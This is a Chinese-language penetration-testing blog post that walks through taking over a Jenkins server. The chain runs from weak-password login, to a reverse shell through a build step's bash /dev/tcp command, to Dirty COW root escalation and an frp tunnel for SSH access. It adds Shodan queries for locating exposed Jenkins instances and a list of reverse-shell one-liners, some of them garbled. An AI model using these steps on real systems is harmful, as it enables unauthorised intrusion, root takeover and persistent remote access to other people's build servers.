当前位置:   article > 正文

jenkins构建后操作shell_Jenkins脏牛漏洞FRP内网提权

jenkins 构建后执行shell

e1fe7705a90a21128ad71b2e58a0dd13.gif

*严正声明:本文仅限于技术讨论与分享,严禁用于非法途径

0×01 概述

Jenkins是一款由Java编写的开源的持续集成工具。Jenkins提供了软件开发的持续集成服务。它运行在Servlet容器中(例如Apache Tomcat)。可以执行基于Apache Ant和Apache Maven的项目,以及任意的Shell脚本和Windows批处理命令。

55dfaaa9839c571ec98e47c7413c6aa5.png

0×02 背景

在平常的渗透测试过程中,很少遇到过利用jenkins构建应用的,jenkins简单的理解为他就是一个软件,你可以通过这个软件来管理你正在开发的项目。

很多互联网上部署的jenkins服务器大部分都是弱口令,只要你能找到,基本上可以通过弱口令进去,在一次测试某个单位时,发现其有jenkins应用,同事通过弱密码(admin/admin)就直接进去了,后面通过shodan找测试环境时候,发现很多jenkins应用不需要密码就能访问构建任务页面。

登录后界面如下:

25ab1d35801b601e43ca4c00299a54f9.png

本来不打算测试的,因为本身之前也不了解jenkins,但同事发现说可以执行命令,就去google了一下,发现网上大部分的文章都通过在“系统管理-脚本命令行”中进行提权,打算参考这个,但测试后,发现能执行命令,但是利用bash进行反弹shell的时候,公网vps未返回shell。为什么反弹不了,倒没有进行深究。

bbca34c2ca9a9244149df6c7316707e4.png

e205cdd70f54fa86fa357ba992fb8e6f.png

926ff02d66ca1f1c0a307e96023c0e12.png

因为jenkins是可以执行任意的shell脚本的,发现jenkins能执行bash命令的地方不止一处,在项目构建的时候,增加构建步骤,让项目在构建的过程中执行我们的命令。

下面来演示一下:

0×03 演示

1、首先构建项目,点击“新建任务”。

65f68a65ab811b3601793577294b866a.png

2、进入到构建任务界面,输入一个任务名称“test”,选择“构建一个自由风格的软件项目”。

617c809c123dacba16f8371acc73efb1.png

3、来到配置页面,直接点击保存。

374599f25f14a046c12991f296e6ed52.png

注:上面的三步是我在自己的docker环境下部署的,因为写文章的时候,客户的服务器已经下线了,为了演示整个过程,只能在自己服务器上完成之前没有截到的图片,方便大家理解,大家测试的话也可以用docker搭建。

4、返回主页面板,可以看到我们构建的项目,点击项目构建名称test。。

74d1b89ae2d5231e53fc26ddabb41a4d.png

5、进入工程test之后,点击左侧栏目的“配置”,进入配置页面。

820da6cd96bae388f29143f1f5f83824.png

6、找到构建,在增加构建步骤的下滑栏中,选择“执行shell”。

b33e3cb63c4daaa2e9f39f4f66783381.png

7、弹出如下执行shell的窗口,在这个窗口输入bash命令。

a1b51bc041c65fbd48aef75eac682143.png

8、bash命令如下,这是一个用来反弹shell的bash命令。X.X.X.X为远程vps服务器的IP,后接7777端口(端口可随意写)。

bash -i >& /dev/tcp/X.X.X.X/7777 0>&1

9、回到远程vps服务器,利用nc进行监听。

nc -lvp 7777

ba3be3ac7bd47cc9bb7fd2ddd2d2fa08.png

10、之后,回到jenkins的工程界面,点击立即构建,命令就会执行

2cb62dc58b644f9eeb4654d4b8c29b6a.png

11、通过控制台输出,可以看到bash的命令执行历史,可以看到输出,此时bash -i一直在后台运行。

4ce5d543199c05ff6213d814fa88c7bd.png

12、回到vps服务器,服务器已弹回shell。

8cd0dc990c936d88b2bf9d9131e7f27a.png

13、通过“whoami”命令查看当前用户,为jenkin用户,权限不足,无法执行修改密码操作。

e29eb8602c018963ba104c8e06e18b70.png

0×04 脏牛提权

由于是linux服务器,此时就想到了linux的脏牛提权漏洞,这里可能是运气好,刚好版本合适。。

1、首先查看linux内核版本,2.6.32,可利用脏牛漏洞提权。

8ae149472ccc1b7fa714947e0014cb47.png

2、下载脏牛提权的poc。

下载地址:https://github.com/FireFart/dirtycow

3、编译

利用gcc编译dirty.c文件

gcc -pthread dirty.c -o dirty -lcrypt

4、运行dirty进行提权,dirty后接需要修改的密码。

./dirty password

b35ea3ec1b2d5df784f71a61f1d75357.png

5、执行完毕之后,显示如上界面,此时查看/etc/passwd文件,发现root的用户名和密码已被修改。

552dbf127639cc470f250749bed97c1d.png

6、接下来,直接su firefart,但此时提示“standard in must be a tty”,不能执行命令,那岂不是功亏一篑?

afc55b3b5ce8d423cf13bac43993ed74.png

0×05 内网映射

由于在bash-4.1$不属于tty终端,不能直接进行用户切换,那么接下来只能把jenkins的服务器映射出来,通过xshell工具进行连接,以root身份登录。

1、frp内网穿透工具

这里利用frp内网穿透工具,frp下载及手册。

下载地址:https://github.com/fatedier/frp/blob/master/README_zh.md

注:frp作为一款内网穿透工具感觉比ngrok优越,frp配置简单,最重要的是开源。

2、客户端配置(被攻击者机器)

客户端只需配置frpc.ini文件(frpc.ini文件得事先准备好,然后在客户端通过wget进行下载,我的方式是把frpc.ini文件先上传到github,就不需要自己搭建服务器了),内容如下,主要是server_addr填写vps服务器地址remote_port是当你要用xshell连接时用到的外部端口其他的可以默认设置。

1635f420bd073706d9b8edb69baf9860.png

3、设置客户端frp后台运行

客户端设置frp在后台运行,我这里用的是nohup,如果nohup不行,可以使用screen。

nohup ./frpc -c ./frpc.ini &

如果使用screen,那么下面是基础用法:

screen用法:

screen -S 会话名称:即可打开一个新建窗口,然后输入./frpc -c ./frpc.ini

screen -S mcs0810

./frpc -c ./frpc.ini

4、服务器端配置。

服务器端只需配置frps.ini文件,内容如下:

13e33fc99d24662b7e3fca41d9e4778e.png

5、服务器端frp配置后台运行

nohup ./frpc -c ./frpc.ini &

6、开始连接

所有东西运行完毕后,只需通过ssh vps:6000访问即可。

e5baa3b5a7a8699579e999d1301a2d9b.png

7、登陆成功。

输入之前利用脏牛漏洞获取的root账号和密码,即可成功登录。

0×06 写在最后

1、如何去寻找jenkins服务器呢?

大家可以shodan去搜索,通过如下语法。

html:"Dashboard Jenkins"

"X-Jenkins" "Set-Cookie: JSESSIONID" http.title:"Dashboard"

2c51d157df6170185eb0e787796687a1.png

2、bash下反弹shell的其他命令。

客户端执行:

# bash -i >& /dev/tcp/attackerip/443 0>&1

# /bin/bash -i > /dev/tcp/attackerip/8080 0&1

# /bin/bash -i > /dev/tcp/attackerip/443 0&1

# exec 5<>/dev/tcp/attackerip/7777 cat &5 >&5; done

# exec 5<>/dev/tcp/192.168.47.154/7777;cat &5 >&5; done

注:attackerip为攻击者的ip

服务器监听:

nc -lvp 7777

e8ea0ae0a42710a601ce3a1235bc9e74.gif

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/Monodyee/article/detail/216853
推荐阅读
相关标签
  

闽ICP备14008679号